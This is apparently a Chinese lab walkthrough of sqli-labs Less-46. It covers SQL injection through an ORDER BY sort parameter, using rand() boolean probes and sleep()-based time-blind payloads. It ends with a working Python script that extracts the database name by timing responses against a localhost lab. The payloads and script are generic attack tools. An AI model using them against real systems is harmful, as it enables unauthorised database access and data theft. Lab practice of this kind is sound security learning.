1.传参的参数为SORT,我们令参数即sort为1继续尝试输入:
2.将sort参数变为2继续尝试:
3.输入'
报错,说明存在注入点
4.rand()盲注
rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):
?sort=rand(true)
?sort=rand(false)
5.时间盲注
- 表达式为true时,正常时间显示
- 表达式为false时,会延迟一段时间显示
order by if(表达式,1,sleep(1))
(1)这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
(2)
?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)
6.盲注脚本
时间盲注构造payload完成注入
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 构造时间盲注payload
payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
# 传参
params = {"sort": payload}
start_time = time.time()
# 异常处理,这里我设定了超时时间为20s
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
print("Request timed out.")
continue
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli7/Less-46/index.php'
inject_database(url)
注入URL的正确性进行更改